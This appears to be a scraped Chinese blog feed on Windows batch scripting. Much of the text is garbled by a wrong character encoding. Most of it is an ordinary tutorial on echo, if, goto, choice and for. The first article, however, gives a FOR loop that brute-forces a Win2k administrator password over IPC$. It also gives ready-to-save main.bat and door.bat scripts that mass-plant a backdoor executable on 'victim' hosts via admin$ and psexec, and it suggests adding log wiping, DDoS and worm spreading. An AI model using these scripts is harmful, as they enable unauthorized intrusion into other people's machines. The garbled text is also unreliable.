变量是单一字母、分大小写和全局的;<br>同时不能?52 个以上都在用中?br><br>(zhn)还可以在相dW串上?FOR /F 分析逻辑Q方法是Q?br>用单引号括号之间的 filenameset 括v来。这P该字W?br>串会(x)被当作一个文件中的一个单一输入行?br><br>最后,(zhn)可以用 FOR /F 命o(h)来分析命令的输出。方法是Q将<br>括号之间?filenameset 变成一个反括字W串。该字符串会(x)<br>被当作命令行Q传递到一个子 CMD.EXEQ其输出?x)被抓?br>内存Qƈ被当作文件分析。因此,以下例子:<br><br>FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i<br><br>?x)枚丑ֽ前环境中的环境变量名U?br><br>另外QFOR 变量参照的替换已被增强。?zhn)现在可以使用下?br>选项语法:<br><br>~I - 删除M引号(")Q扩?%I<br>%~fI - ?%I 扩充C个完全合格的路径?br>%~dI - 仅将 %I 扩充C个驱动器?br>%~pI - 仅将 %I 扩充C个\?br>%~nI - 仅将 %I 扩充C个文件名<br>%~xI - 仅将 %I 扩充C个文件扩展名<br>%~sI - 扩充的\径只含有短名<br>%~aI - ?%I 扩充到文件的文g属?br>%~tI - ?%I 扩充到文件的日期/旉<br>%~zI - ?%I 扩充到文件的大小<br>%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩充<br>到找到的W一个完全合格的名称。如果环境变?br>未被定义Q或者没有找到文Ӟ此组合键?x)扩?br>I字W串<br><br>可以l合修饰W来得到多重l果:<br><br>%~dpI - 仅将 %I 扩充C个驱动器号和路径<br>%~nxI - 仅将 %I 扩充C个文件名和扩展名<br>%~fsI - 仅将 %I 扩充C个带有短名的完整路径?br>%~dp$PATH:i - 查找列在路径环境变量的目录,q将 %I 扩充<br>到找到的W一个驱动器号和路径?br>%~ftzaI - ?%I 扩充到类D出线路的 DIR<br><br>在以上例子中Q?I ?PATH 可用其他有效数gѝ?~ 语法<br>用一个有效的 FOR 变量名终止。选取cM %I 的大写变量名<br>比较易读Q而且避免与不分大写的组合键h?br><br>以上是MS的官方帮助,下面我们丑և个例子来具体说明一下For命o(h)在入侵中的用途?br><br>sample2Q?br><br>利用For命o(h)来实现对一台目标Win2kL的暴力密码破解?br>我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主行连接,当成功时C密码?br>最主要的命令是一条:(x)for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"<br>用i%来表Cadmin的密码,在dict.txt中这个取i%的值用net use 命o(h)来连接。然后将E序q行l果传递给find命o(h)Q-<br>for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命o(h)成功完成">>D:\ok.txt Q这样就ko了?br><br>sample3Q?br><br>你有没有q手里有大量肉鸡{着你去U后门+木马呢?Q当数量特别多的时候,原本很开心的一件事都会(x)变得很郁P(x)Q。文章开头就谈到使用批处理文Ӟ可以化日常或重复性Q务。那么如何实现呢Q呵呵,看下M׃(x)明白了?br><br>主要命o(h)也只有一条:(x)Q在批处理文件中使用 FOR 命o(h)Ӟ指定变量使用 %%variableQ?br>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k<br>tokens的用法请参见上面的sample1Q在q里它表C按序victim.txt中的内容传递给door.bat中的参数%i %j %k?br>而cultivate.bat无非是用net use命o(h)来徏立IPC$q接Qƈcopy木马Q后门到victimQ然后用q回码(If errorlever =Q来{选成功种植后门的LQƈecho出来Q或者echo到指定的文g?br>delims= 表示vivtim.txt中的内容是一I格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根?%i %%j %%k表示的对象来排列Q一般就?ip password username?br>代码雏ŞQ?br><br>--------------- cut here then save as a batchfile(I call it main.bat ) --------------------<br>@echo off<br>@if "%1"=="" goto usage<br>@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k<br>@goto end<br>:usage<br>@echo run this batch in dos modle.or just double-click it.<br>:end<br>--------------- cut here then save as a batchfile(I call it main.bat ) --------------------<br><br>------------------- cut here then save as a batchfile(I call it door.bat) -----------------<br>@net use \\%1\ipc$ %3 /u:"%2"<br>@if errorlevel 1 goto failed<br>@echo Trying to establish the IPC$ connection …………OK<br>@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt<br>@p***ec \\%1 c:\winnt\system32\windrv32.exe<br>@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt<br>:failed<br>@echo Sorry can not connected to the victim.<br>----------------- cut here then save as a batchfile(I call it door.bat) -------------------<br>q只是一个自动种植后门批处理的雏形,两个批处理和后门E序QWindrv32.exeQ?PSexec.exe需攑֜l一目录?批处理内?br>可扩展,例如:加入清除日志+DDOS的功?加入定时d用户的功?更深入一点可以之具备自动传播功?蠕虫).此处不多做叙q?有兴的朋友可自行研I?</p> </td> </tr> </tbody> </table> </td> </tr> </tbody> </table><img src ="http://www.aygfsteel.com/Alpha/aggbug/134630.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/Alpha/" target="_blank">Alpha</a> 2007-08-06 10:41 <a href="http://www.aygfsteel.com/Alpha/articles/134630.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>手把手教你写批处?http://www.aygfsteel.com/Alpha/articles/134628.htmlAlphaAlphaMon, 06 Aug 2007 02:40:00 GMThttp://www.aygfsteel.com/Alpha/articles/134628.htmlhttp://www.aygfsteel.com/Alpha/comments/134628.htmlhttp://www.aygfsteel.com/Alpha/articles/134628.html#Feedback0http://www.aygfsteel.com/Alpha/comments/commentRss/134628.htmlhttp://www.aygfsteel.com/Alpha/services/trackbacks/134628.html~者:(x)q个教程和别不一L(fng)地方在于willsort~注那里的内容,是作者多q来的心得. 
批处理的介绍

扩展名是bat(在nt/2000/xp/2003下也可以是cmd)的文件就是批处理文g?/p>

==== willsort ~注 =======================================
.bat是dos下的批处理文?br>.cmd是nt内核命o(h)行环境的另一U批处理文g
从更q义的角度来看,unix的shell脚本以及(qing)其它操作pȝ甚至应用E序中由外壳q行解释执行的文本,都具有与批处理文件十分相似的作用Q而且同样是由专用解释器以行ؓ(f)单位解释执行Q这U文本Ş式更通用的称谓是脚本语言。所以从某个E度分析Qbatch, unix shell, awk, basic, perl {脚本语a都是一L(fng)Q只不过应用的范围和解释的^台各有不同而已。甚x些应用程序仍然沿用批处理q一U呼Q而其内容和扩展名与dos的批处理却又完全不同?br>===================================

首先批处理文件是一个文本文Ӟq个文g的每一行都是一条DOS命o(h)Q大部分时候就好象我们在DOS提示W下执行的命令行一PQ你可以使用DOS下的Edit或者Windows的记事本(notepad){Q何文本文件编辑工具创建和修改批处理文件?/p>

==== willsort 题注 ===================
批处理文件中完全可以使用非dos命o(h)Q甚臛_以用不h可执行特性的普通数据性文Ӟq缘于windowspȝq个新型解释q_的涉入,使得批处理的应用来?边缘?。所以我们讨论的批处理应该限定在dos环境或者命令行环境中,否则很多观念和设定都需要做比较大的变动?br>========================

其次Q批处理文g是一U简单的E序Q可以通过条g语句(if)和流E控制语?goto)来控制命令运行的程Q在批处理中也可以用@环语?for)来@环执行一条命令。当Ӟ批处理文件的~程能力与C语言{编E语句比h是十分有限的Q也是十分不规范的。批处理的程序语句就是一条条的DOS命o(h)Q包括内部命令和外部命o(h)Q,而批处理的能力主要取决于你所使用的命令?/p>

==== willsort ~注 ==================
批处理文?batch file)也可以称之ؓ(f)批处理程?batch program)Q这一点与~译型语a有所不同Q就c语言来说Q扩展名为c或者cpp的文件可以称之ؓ(f)c语言文g或者c语言源代码,但只有编译连接后的exe文g才可以称之ؓ(f)c语言E序。因为批处理文g本n既具有文本的可读性,又具有程序的可执行性,q些U谓的界限是比较模糊的?br>===========================

W三Q每个编写好的批处理文g都相当于一个DOS的外部命令,你可以把它所在的目录攑ֈ你的DOS搜烦路径(path)中来使得它可以在L位置q行。一个良好的?fn)惯是在盘上徏立一个bat或者batch目录Q例如C:\BATCHQ,然后所有你~写的批处理文g攑ֈ该目录中Q这样只要在path中设|上c:\batchQ你可以在L位置q行所有你~写的批处理E序?/p>

==== willsort ~注 =====
U以dospȝ而言Q可执行E序大约可以l分Zc,依照执行优先U由高到低排列分别是QDOSKEY宏命令(预先ȝ内存Q,COMMAND.COM中的内部命o(h)Q根据内存的环境随时q驻内存Q,以com为扩展名的可执行E序Q由command.com 直接载入内存Q,以exe位扩展名的可执行E序Q由command.com 重定位后载入内存Q,以bat位扩展名的批处理E序Q由command.com 解释分析Q根据其内容按优先序调用W?Q?Q?Q?U可执行E序Q分析一行,执行一行,文g本n不蝲入内存)
============

W四Q在DOS和W(xu)in9x/Mepȝ下,C:盘根目录下的AUTOEXEC.BAT批处理文件是自动q行批处理文Ӟ每次pȝ启动时会(x)自动q行该文Ӟ你可以将pȝ每次启动旉要运行的命o(h)攑օ该文件中Q例如设|搜索\径,调入鼠标驱动和磁盘缓存,讄pȝ环境变量{。下面是一个运行于Windows 98下的autoexec.bat的示例:(x)
@ECHO OFF
PATH C:\WINDOWS;C:\WINDOWS\COMMAND;C:\UCDOS;C:\DOSTools;

C:\SYSTOOLS;C:\WINTOOLS;C:\BATCH
LH SMARTDRV.EXE /X
LH DOSKEY.COM /INSERT
LH CTMOUSE.EXE
SET TEMP=D:\TEMP
SET TMP=D:\TEMP
==== willsort ~注 =====
AUTOEXEC.BAT为DOSpȝ的自动运行批处理文gQ由COMMAND.COM启动时解释执行;
而在Win9x环境中,不仅增加支持?DOSSTART.BAT, WINSTART.BAT {许多其它自动运行的批处理文Ӟ对AUTOEXEC.BAT 也增加了 .DOS .W40 .BAK .OLD .PWS {许多变体以适应复杂的环境和多变的需求?br>==== willsort ~注 =============
以下关于命o(h)的分c,有很多值得推敲的地斏V常用命令中的@本不是命令,而dir、copy{也很常用的命o(h)却没有列? 而特D命令中所有命令对我来说都是常用命令。徏议将批处理所引用的命令分为内部命令、外部命令、第三方E序三类。而内部命令和外部命o(h)中别有一cL专用于或常用于批处理中的命o(h)可称之ؓ(f)"批处理命??/p>

以下摘录MS-DOS 6.22 帮助文档中关?批处理命?的文字,当然Q其中有些概念和定义已经有些落后了?/p>

批处理命?/p>

批处理文件或批处理程序是一个包含若qMS-DOS命o(h)的正文文Ӟ扩展名ؓ(f).BAT。当在命令提C符下敲入批处理E序的名U时QMS-DOS成组执行此批处理E序中的命o(h)?/p>

M在命令提C符下可使用的命令都可用在批处理E序中。此外,下面MS-DOS命o(h)是专门在批处理程序中使用的?br>==========

常用命o(h)

echo、@、call、pause、rem(技巧:(x)?:代替rem)是批处理文g最常用的几个命令,我们׃他们开始学赗?/p>

==== willsort ~注 ===========
首先, @ 不是一个命? 而是DOS 批处理的一个特D标记符, 仅用于屏蔽命令行回显. 下面是DOS命o(h)行或批处理中可能?x)见到的一些特D标记符:
CR(0D) 命o(h)行结束符
Escape(1B) ANSI转义字符引导W?br>Space(20) 常用的参数界定符
Tab(09) ; = 不常用的参数界定W?br>+ COPY命o(h)文gq接W?br>* ? 文g通配W?br>"" 字符串界定符
| 命o(h)道W?br>< > >> 文g重定向符
@ 命o(h)行回昑ֱ蔽符
/ 参数开兛_导符
: 批处理标{ּ导符
% 批处理变量引导符

其次, :: 实可以起到rem 的注释作? 而且更简z有? 但有两点需要注?
W一, 除了 :: 之外, M?:开头的字符? 在批处理中都被视作标? 而直接忽略其后的所有内? 只是Z与正常的标号相区? 使用 goto 所无法识别的标? 卛_ :后紧跟一个非字母数字的一个特D符?
W二, 与rem 不同的是, ::后的字符行在执行时不?x)回? 无论是否用echo on打开命o(h)行回昄? 因ؓ(f)命o(h)解释器不认ؓ(f)他是一个有效的命o(h)? 此Ҏ(gu)? rem 在某些场合下比 :: 更ؓ(f)适用; 另外, rem 可以用于 config.sys 文g?
=====================

echo 表示昄此命令后的字W?br>echo off 表示在此语句后所有运行的命o(h)都不昄命o(h)行本w?br>@与echo off相象Q但它是加在每个命o(h)行的最前面Q表C行时不显C一行的命o(h)行(只能影响当前行)?br>call 调用另一个批处理文gQ如果不用call而直接调用别的批处理文gQ那么执行完那个批处理文件后无法返回当前文件ƈ执行当前文g的后l命令)?br>pause q行此句?x)暂停批处理的执行ƈ在屏q上昄Press any key to continue...的提C,{待用户按Q意键后l?br>rem 表示此命令后的字Wؓ(f)解释行(注释Q,不执行,只是l自׃后参考用的(相当于程序中的注释)?br>==== willsort ~注 =====
此处的描q较为؜? 不如直接引用个命令的命o(h)行帮助更为条?/p>

-------------------------
ECHO

当程序运行时Q显C或隐藏批处理程序中的正文。也可用于允许或止命o(h)的回显?/p>

在运行批处理E序ӞMS-DOS一般在屏幕上显C(回显Q批处理E序中的命o(h)?br>使用ECHO命o(h)可关闭此功能?/p>

语法

ECHO [ON|OFF]

若要用echo命o(h)昄一条命令,可用下述语法Q?/p>

echo [message]

参数

ON|OFF
指定是否允许命o(h)的回显。若要显C当前的ECHO的设|,可用不带参数的ECHO
命o(h)?/p>

message
指定让MS-DOS在屏q上昄的正文?/p>

-------------------

CALL

从一个批处理E序中调用另一个批处理E序Q而不?x)引L(fng)一个批处理的中止?/p>

语法

CALL [drive:][path]filename [batch-parameters]

参数

[drive:][path]filename
指定要调用的批处理程序的名字?qing)其存放处。文件名必须?BAT作扩展名?/p>


batch-parameters
指定批处理程序所需的命令行信息?/p>

-------------------------------

PAUSE

暂停批处理程序的执行q显CZ条消息,提示用户按Q意键l箋执行。只能在批处
理程序中使用该命令?/p>

语法

PAUSE


REM

在批处理文g或CONFIG.SYS中加入注解。也可用REM命o(h)来屏蔽命令(在CONFIG.SYS
中也可以用分?;)代替REM命o(h)Q但在批处理文g中则不能替代Q?/p>

语法

REM [string]

参数

string
指定要屏蔽的命o(h)或要包含的注解?br>=======================

?Q用edit~辑a.bat文gQ输入下列内容后存盘为c:\a.batQ执行该批处理文件后可实玎ͼ(x)根目录中所有文件写?a.txt中,启动UCDOSQ进入WPS{功能?/p>

  批处理文件的内容?         命o(h)注释Q?/p>

    @echo off           不显C后l命令行?qing)当前命令?br>    dir c:\*.* >a.txt       c盘文件列表写入a.txt
    call c:\ucdos\ucdos.bat    调用ucdos
    echo 你好            昄"你好"
    pause              暂停,{待按键l箋
    rem 准备q行wps         注释Q准备运行wps
    cd ucdos            q入ucdos目录
    wps               q行wps  

批处理文件的参数

批处理文件还可以像C语言的函C样用参敎ͼ相当于DOS命o(h)的命令行参数Q,q需要用C个参数表C符"%"?/p>

%[1-9]表示参数Q参数是指在q行批处理文件时在文件名后加的以I格Q或者TabQ分隔的字符丌Ӏ变量可以从%0?9Q?0表示批处理命令本w,其它参数字符串用%1?9序表示?/p>

?QC:根目录下有一批处理文件名为f.batQ内容ؓ(f)Q?br>@echo off
format %1

如果执行C:\>f a:
那么在执行f.batӞ%1pCa:Q这样format %1q当于format a:Q于是上面的命o(h)q行时实际执行的是format a:

?QC:根目录下一批处理文件名为t.batQ内容ؓ(f):
@echo off
type %1
type %2

那么q行C:\>t a.txt b.txt
%1 : 表示a.txt
%2 : 表示b.txt
于是上面的命令将序地显Ca.txt和b.txt文g的内宏V?/p>

==== willsort ~注 ===============
参数在批处理中也作ؓ(f)变量处理, 所以同样用百分号作ؓ(f)引导W? 其后?-9中的一个数字构成参数引用符. 引用W和参数之间 (例如上文中的 %1 ?a: ) 的关pȝg变量指针与变量值的关系. 当我们要引用W十一个或更多个参数时, 必ȝ动DOS 的参数v始指? shift 命o(h)正充当了q个Ud指针的角? 它将参数的v始指针移动到下一个参? cMC 语言中的指针操作. 囄如下:

初始状? cmd 为命令名, 可以?%0 引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

l过1ơshift? cmd 无法被引用
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8 %9

l过2ơshift? arg1也被废弃, %9指向为空, 没有引用意义
cmd arg1 arg2 arg3 arg4 arg5 arg6 arg7 arg8 arg9 arg10
^ ^ ^ ^ ^ ^ ^ ^ ^
| | | | | | | | |
%0 %1 %2 %3 %4 %5 %6 %7 %8

遗憾的是, win9x 和DOS下均不支?shift 的逆操? 只有?nt 内核命o(h)行环境下, shift 才支?/n 参数, 可以以第一参数为基准返复移动v始指?
====================

Ҏ(gu)命o(h)


if goto choice for是批处理文g中比较高U的命o(h)Q如果这几个你用得很熟练Q你是批处理文件的专家啦?/p>


一、if 是条件语句,用来判断是否W合规定的条Ӟ从而决定执行不同的命o(h)?有三U格?

1、if [not] "参数" == "字符? 待执行的命o(h)

参数如果{于(not表示不等Q下?指定的字W串Q则条g成立Q运行命令,否则q行下一句?/p>

例:(x)if "%1"=="a" format a:

==== willsort ~注

if 的命令行帮助中关于此点的描述?
IF [NOT] string1==string2 command
在此有以下几炚w要注?
1. 包含字符串的双引号不是语法所必须? 而只是习(fn)惯上使用的一U?防空"字符
2. string1 未必是参? 它也可以是环境变? 循环变量以及(qing)其他字符串常量或变量
3. command 不是语法所必须? string2 后跟一个空格就可以构成一个有效的命o(h)?br>=============================

2、if [not] exist [路径\]文g?待执行的命o(h)
如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?/p>

? if exist c:\config.sys type c:\config.sys
表示如果存在c:\config.sys文gQ则昄它的内容?/p>

****** willsort ~注 ********
也可以用以下的用法:
if exist command
device 是指DOSpȝ中已加蝲的设? 在win98下通常?
AUX, PRN, CON, NUL
COM1, COM2, COM3, COM4
LPT1, LPT2, LPT3, LPT4
XMSXXXX0, EMMXXXX0
A: B: C: ...,
CLOCK$, CONFIG$, DblBuff$, IFS$HLP$
具体的内容会(x)因硬软g环境的不同而略有差? 使用q些讑֤名称? 需要保证以下三?
1. 该设备确实存?pY件虚拟的讑֤除外)
2. 该设备驱动程序已加蝲(aux, prn{标准设备由pȝ~省定义)
3. 该设备已准备?主要是指a: b: ..., com1..., lpt1...{?
可通过命o(h) mem/d | find "device" /i 来检阅你的系l中所加蝲的设?br>另外, 在DOSpȝ? 讑֤也被认ؓ(f)是一U特D的文g, 而文件也可以UC字符讑֤; 因ؓ(f)讑֤(device)与文仉是用句?handle)来管理的, 句柄是名字, cM于文件名, 只不q句柄不是应用于盘理, 而是应用于内存管理而已, 所谓设备加载也x在内存中为其分配可引用的句柄.
==================================

3、if errorlevel <数字> 待执行的命o(h)

很多DOSE序在运行结束后?x)返回一个数字值用来表C程序运行的l果(或者状?Q通过if errorlevel命o(h)可以判断E序的返回|Ҏ(gu)不同的返回值来军_执行不同的命?q回值必L照从大到的序排列)。如果返回值等于指定的数字Q则条g成立Q运行命令,否则q行下一句?/p>

如if errorlevel 2 goto x2

==== willsort ~注 ===========
q回g大到的序排列不是必须? 而只是执行命令ؓ(f) goto 时的?fn)惯用? 当?set 作ؓ(f)执行命o(h)? 通常?x)从到大顺序排? 比如需返回码|入环境变量, 需使用以下的顺序Ş?

if errorlevel 1 set el=1
if errorlevel 2 set el=2
if errorlevel 3 set el=3
if errorlevel 4 set el=4
if errorlevel 5 set el=5
...

当然, 也可以用以下@环来替代, 原理是一致的:
for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e

更高效简z的用法, 可以参考我写的另一关于获?errorlevel 的文?/p>

出现此种现象的原因是, if errorlevel 比较q回码的判断条gq{于, 而是大于{于. ׃ goto 的蟩转特? 由小到大排序?x)导致在较小的返回码处就跛_; 而由?set命o(h)?"重复" 赋值特? 由大到小排序?x)导致较(yu)的q回?"覆盖" 较大的返回码.

另外, 虽然 if errorlevel=<数字> command 也是有效的命令行, 但也只是 command.com 解释命o(h)行时?= 作ؓ(f)命o(h)行切分符而忽略掉|了
===========================


二、goto 批处理文件运行到q里蟩到goto所指定的标?标号即labelQ标L(fng):后跟标准字符串来定义)处,goto语句一般与if配合使用Q根据不同的条g来执行不同的命o(h)l?/p>

?

goto end

:end
echo this is the end

标号?:字符?来定义,标号所在行不被执行?/p>

==== willsort ~注

label 常被译ؓ(f) "标签" , 但是qƈ不具有广泛的U定?

goto ?: 联用可实现执行中途的跌{, 再结?if 可实现执行过E的条g分支, 多个 if 卛_实现命o(h)的分l? cM C ?switch case l构或?Basic 中的 select case l构, 大规模且l构化的命o(h)分组卛_实现高语言中的函数功能. 以下是批处理和C/Basic在语法结构上的对?

Batch C / Basic
goto&: goto&:
goto&:&if if{}&else{} / if&elseif&endif
goto&:&if... switch&case / select case
goto&:&if&set&envar... function() / function(),sub()
==================================

三、choice 使用此命令可以让用户输入一个字W(用于选择Q,从而根据用L(fng)选择q回不同的errorlevelQ然后于if errorlevel配合Q根据用L(fng)选择q行不同的命令?/p>

注意Qchoice命o(h)为DOS或者Windowspȝ提供的外部命令,不同版本的choice命o(h)语法?x)稍有不同,L(fng)choice /?查看用法?/p>

choice的命令语法(该语法ؓ(f)Windows 2003中choice命o(h)的语法,其它版本的choice的命令语法与此大同小异)Q?/p>

CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text]

描述:
该工具允许用户从选择列表选择一个项目ƈq回所选项目的索引?/p>

参数列表:
/C choices 指定要创建的选项列表。默认列表是 "YN"?/p>

/N 在提C符中隐藏选项列表。提C前面的消息得到昄Q?br>选项依旧处于启用状态?/p>

/CS 允许选择分大写的选项。在默认情况下,q个工具
是不分大写的?/p>

/T timeout 做出默认选择之前Q暂停的U数。可接受的值是?0
?9999。如果指定了 0Q就不会(x)有暂停,默认选项
?x)得到选择?/p>

/D choice ?nnnn U之后指定默认选项。字W必d?/C ?br>Ҏ(gu)定的一l选择? 同时Q必ȝ /T 指定 nnnn?/p>

/M text 指定提示之前要显C的消息。如果没有指定,工具?br>昄提示?/p>

/? 昄帮助消息?/p>

注意:
ERRORLEVEL 环境变量被设|ؓ(f)从选择集选择的键索引。列出的W一个?br>择返?1Q第二个选择q回 2Q等{。如果用h的键不是有效的选择Q?br>该工具会(x)发出警告响声。如果该工具到错误状态,它会(x)q回 255 ?br>ERRORLEVEL 倹{如果用h Ctrl+Break ?Ctrl+C 键,该工具会(x)q回 0
?ERRORLEVEL 倹{在一个批E序中?ERRORLEVEL 参数Ӟ参数降
序排列?/p>

CZ:
CHOICE /?
CHOICE /C YNC /M "认h YQ否h NQ或者取消请?C?
CHOICE /T 10 /C ync /CS /D y
CHOICE /C ab /M "选项 1 请选择 aQ选项 2 请选择 b?
CHOICE /C ab /N /M "选项 1 请选择 aQ选项 2 请选择 b?

==== willsort ~注 ===============================
我列出win98下choice的用法帮? 已资区分

Waits for the user to choose one of a set of choices.
{待用户选择一l待选字W中的一?/p>

CHOICE [/C[:]choices] [/N] [/S] [/T[:]c,nn] [text]

/C[:]choices Specifies allowable keys. Default is YN
指定允许的按?待选字W?, 默认为YN
/N Do not display choices and ? at end of prompt string.
不显C提C字W串中的问号和待选字W?br>/S Treat choice keys as case sensitive.
处理待选字W时大小写敏?br>/T[:]c,nn Default choice to c after nn seconds
?nn U后默认选择 c
text Prompt string to display
要显C的提示字符?br>ERRORLEVEL is set to offset of key user presses in choices.
ERRORLEVEL 被设|ؓ(f)用户键入的字W在待选字W中的偏Ud?br>====================================

如果我运行命令:(x)CHOICE /C YNC /M "认h YQ否h NQ或者取消请?C?
屏幕上会(x)昄Q?br>认h YQ否h NQ或者取消请?C?[Y,N,C]?


例:(x)test.bat的内容如下(注意Q用if errorlevel判断q回值时Q要按返回g高到低排列):
@echo off
choice /C dme /M "defrag,mem,end"
if errorlevel 3 goto end
if errorlevel 2 goto mem
if errorlevel 1 goto defrag

:defrag
c:\dos\defrag
goto end

:mem
mem
goto end

:end
echo good bye

此批处理q行后,显C?defrag,mem,end[D,M,E]?" Q用户可选择d m e Q然后if语句Ҏ(gu)用户的选择作出判断Qd表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ批处理q行l束?/p>

四、for 循环命o(h)Q只要条件符合,它将多次执行同一命o(h)?/p>

语法Q?br>对一l文件中的每一个文件执行某个特定命令?/p>

FOR %%variable IN (set) DO command [command-parameters]

%%variable 指定一个单一字母可替换的参数?br>(set) 指定一个或一l文件。可以用通配W?br>command 指定Ҏ(gu)个文件执行的命o(h)?br>command-parameters
为特定命令指定参数或命o(h)行开兟?/p>

例如一个批处理文g中有一?
for %%c in (*.bat *.txt) do type %%c

则该命o(h)行会(x)昄当前目录下所有以bat和txt为扩展名的文件的内容?/p>

==== willsort ~注 =====================================================
需要指出的? ?)中的字符串ƈ非单个或多个文g名时, 它将单纯被当作字W串替换, q个Ҏ(gu)再加上()中可以嵌入多个字W串的特? 很明?for 可以被看作一U遍历型循环.
当然, ?nt/2000/xp/2003 pd的命令行环境? for 被赋予了更多的特? 使之可以分析命o(h)输出或者文件中的字W串, 也有很多开兌用于扩展了文件替换功?
========================================================================

批处理示?/p>

1. IF-EXIST

1) 首先用记事本在C:\建立一个test1.bat批处理文Ӟ文g内容如下Q?br>@echo off
IF EXIST \AUTOEXEC.BAT TYPE \AUTOEXEC.BAT
IF NOT EXIST \AUTOEXEC.BAT ECHO \AUTOEXEC.BAT does not exist

然后q行它:(x)
C:\>TEST1.BAT

如果C:\存在AUTOEXEC.BAT文gQ那么它的内容就?x)被昄出来Q如果不存在Q批处理׃(x)提示你该文g不存在?/p>

2) 接着再徏立一个test2.bat文gQ内容如下:(x)
@ECHO OFF
IF EXIST \%1 TYPE \%1
IF NOT EXIST \%1 ECHO \%1 does not exist

执行:
C:\>TEST2 AUTOEXEC.BAT
该命令运行结果同上?/p>

说明Q?br>(1) IF EXIST 是用来测试文件是否存在的Q格式ؓ(f)
IF EXIST [路径+文g名] 命o(h)
(2) test2.bat文g中的%1是参敎ͼDOS允许传?个批参数信息l批处理文gQ分别ؓ(f)%1~%9(%0表示test2命o(h)本n) Q这有点象编E中的实参和形参的关p,%1是Ş参,AUTOEXEC.BAT是实参?/p>

==== willsort ~注 =====================================================
DOS没有 "允许传?个批参数信息" 的限? 参数的个数只?x)受到命令行长度和所调用命o(h)处理能力的限? 但是, 我们在批处理E序? 在同一时刻只能同时引用10个参? 因ؓ(f) DOS只给Z %0~%9q十个参数引用符.
========================================================================

3) 更进一步的Q徏立一个名为TEST3.BAT的文Ӟ内容如下Q?br>@echo off
IF "%1" == "A" ECHO XIAO
IF "%2" == "B" ECHO TIAN
IF "%3" == "C" ECHO XIN

如果q行Q?br>C:\>TEST3 A B C
屏幕上会(x)昄:
XIAO
TIAN
XIN

如果q行Q?br>C:\>TEST3 A B
屏幕上会(x)昄
XIAO
TIAN

在这个命令执行过E中QDOS?x)将一个空字符串指定给参数%3?/p>

2、IF-ERRORLEVEL

建立TEST4.BATQ内容如下:(x)
@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 1 ECHO 文g拯p|
IF ERRORLEVEL 0 ECHO 成功拯文g

然后执行文g:
C:\>TEST4

如果文g拯成功Q屏q就?x)显C?成功拯文g"Q否则就?x)显C?文g拯p|"?/p>

IF ERRORLEVEL 是用来测试它的上一个DOS命o(h)的返回值的Q注意只是上一个命令的q回|而且q回值必M照从大到次序顺序判断?br>因此下面的批处理文g是错误的Q?/p>

@ECHO OFF
XCOPY C:\AUTOEXEC.BAT D:\
IF ERRORLEVEL 0 ECHO 成功拯文g
IF ERRORLEVEL 1 ECHO 未找到拷贝文?br>IF ERRORLEVEL 2 ECHO 用户通过ctrl-c中止拯操作
IF ERRORLEVEL 3 ECHO 预置错误L文g拯操作
IF ERRORLEVEL 4 ECHO 拯q程中写盘错?/p>

无论拯是否成功Q后面的Q?/p>

未找到拷贝文?br>用户通过ctrl-c中止拯操作
预置错误L文g拯操作
拯q程中写盘错?/p>

都将昄出来?/p>

以下是几个常用命o(h)的返回值及(qing)其代表的意义Q?/p>

backup
0 备䆾成功
1 未找到备份文?br>2 文g׃n冲突L备䆾完成
3 用户用ctrl-c中止备䆾
4 ׃致命的错误备䆾操作中止

diskcomp
0 盘比较相?br>1 盘比较不?br>2 用户通过ctrl-c中止比较操作
3 ׃致命的错误比较操作中止
4 预置错误中止比较

diskcopy
0 盘拷贝操作成?br>1 非致命盘?写错
2 用户通过ctrl-cl束拯操作
3 因致命的处理错误使盘拯中止
4 预置错误L拯操作

format
0 格式化成?br>3 用户通过ctrl-c中止格式化处?br>4 因致命的处理错误使格式化中止
5 在提C?proceed with formatQy/nQ?"下用户键入nl束

xcopy
0 成功拯文g
1 未找到拷贝文?br>2 用户通过ctrl-c中止拯操作
4 预置错误L文g拯操作
5 拯q程中写盘错?/p>

==== willsort ~注 =====================================================
chkdsk
0 未找到错?br>255 扑ֈ一个或多个错误

choice
0 用户按下ctrl+c/break
1 用户按下W一个键
255 到命o(h)行中的错误条?br>其它 用户按下的有效字W在列表中的位置

defrag
0 片压羃成功
1 出现内部错误
2 盘上没有空。要q行DEFRAGQ至要有一个空?br>3 用户用Ctrl+C退ZDEFRAG
4 出现一般性错?br>5 DEFRAG在读时遇到错误
6 DEFRAG在写时遇到错误
7 分配I间有错
8 内存?br>9 没有_I间来压~磁盘碎?/p>

deltree
0 成功地删除一个目?/p>

diskcomp
0 两盘相同
1 发现不同
2 按CTRL+C l止了比?br>3 出现严重错误
4 出现初始化错?/p>

find
0 查找成功且至找C一个匹配的字符?br>1 查找成功但没扑ֈ匚w的字W串
2 查找中出C错误

keyb
0 键盘定义文g装入成功
